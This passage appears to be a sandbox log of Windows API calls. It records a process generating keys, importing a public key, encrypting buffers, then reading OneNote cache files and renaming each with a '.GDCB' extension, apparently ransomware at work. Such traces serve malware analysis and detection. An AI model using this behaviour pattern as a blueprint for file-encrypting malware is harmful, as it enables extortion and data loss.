0x74c90000 [0183.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.742] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.744] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.744] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.744] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.746] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81658) returned 1 [0183.746] CryptGetKeyParam (in: hKey=0x4f81658, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.746] CryptEncrypt (in: hKey=0x4f81658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.747] GetLastError () returned 0x0 [0183.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.747] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.749] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f817d8) returned 1 [0183.749] CryptGetKeyParam (in: hKey=0x4f817d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.749] CryptEncrypt (in: hKey=0x4f817d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.750] GetLastError () returned 0x0 [0183.750] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.750] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000F.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000f.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.753] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.754] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x12ef, lpOverlapped=0x0) returned 1 [0183.763] VirtualAlloc (lpAddress=0x0, dwSize=0x12f0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.768] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000F.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000f.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000F.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000f.bin.gdcb")) returned 1 [0183.773] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.775] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.775] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.775] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.775] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.778] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.778] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.778] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.780] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f819d8) returned 1 [0183.780] CryptGetKeyParam (in: hKey=0x4f819d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.780] CryptEncrypt (in: hKey=0x4f819d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.780] GetLastError () returned 0x0 [0183.781] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.781] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.783] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81cd8) returned 1 [0183.783] CryptGetKeyParam (in: hKey=0x4f81cd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.783] CryptEncrypt (in: hKey=0x4f81cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.783] GetLastError () returned 0x0 [0183.783] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.783] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000G.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000g.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.785] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.787] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.788] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x8a2, lpOverlapped=0x0) returned 1 [0183.801] VirtualAlloc (lpAddress=0x0, dwSize=0x8b0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.807] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000G.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000g.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000G.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000g.bin.gdcb")) returned 1 [0183.814] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.817] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.817] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.817] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.818] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.819] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.819] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.819] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.819] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.822] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81518) returned 1 [0183.822] CryptGetKeyParam (in: hKey=0x4f81518, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.822] CryptEncrypt (in: hKey=0x4f81518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.822] GetLastError () returned 0x0 [0183.822] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.822] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.826] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81918) returned 1 [0183.826] CryptGetKeyParam (in: hKey=0x4f81918, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.826] CryptEncrypt (in: hKey=0x4f81918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.826] GetLastError () returned 0x0 [0183.826] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.826] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000H.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000h.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.829] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.830] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.831] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x679, lpOverlapped=0x0) returned 1 [0183.844] VirtualAlloc (lpAddress=0x0, dwSize=0x680, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.849] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000H.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000h.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000H.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000h.bin.gdcb")) returned 1 [0183.855] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.858] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.858] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.858] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.861] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.861] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.861] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.861] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.864] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81818) returned 1 [0183.866] CryptGetKeyParam (in: hKey=0x4f81818, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.866] CryptEncrypt (in: hKey=0x4f81818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.867] GetLastError () returned 0x0 [0183.867] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.867] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.869] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81698) returned 1 [0183.869] CryptGetKeyParam (in: hKey=0x4f81698, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.869] CryptEncrypt (in: hKey=0x4f81698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.869] GetLastError () returned 0x0 [0183.870] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000I.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000i.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.872] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.874] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.875] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0xf27, lpOverlapped=0x0) returned 1 [0183.907] VirtualAlloc (lpAddress=0x0, dwSize=0xf30, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.911] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000I.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000i.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000I.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000i.bin.gdcb")) returned 1 [0183.916] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.919] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.919] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.920] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.921] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.921] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.921] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.921] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.923] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81a18) returned 1 [0183.924] CryptGetKeyParam (in: hKey=0x4f81a18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.924] CryptEncrypt (in: hKey=0x4f81a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.924] GetLastError () returned 0x0 [0183.924] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.924] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.926] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81898) returned 1 [0183.926] CryptGetKeyParam (in: hKey=0x4f81898, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.926] CryptEncrypt (in: hKey=0x4f81898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.926] GetLastError () returned 0x0 [0183.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.926] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000J.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000j.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0183.928] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0183.930] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0183.931] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x331c, lpOverlapped=0x0) returned 1 [0183.954] VirtualAlloc (lpAddress=0x0, dwSize=0x3320, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0183.959] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000J.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000j.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000J.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000j.bin.gdcb")) returned 1 [0183.964] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.967] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.967] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.967] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.970] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.970] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.970] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.970] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 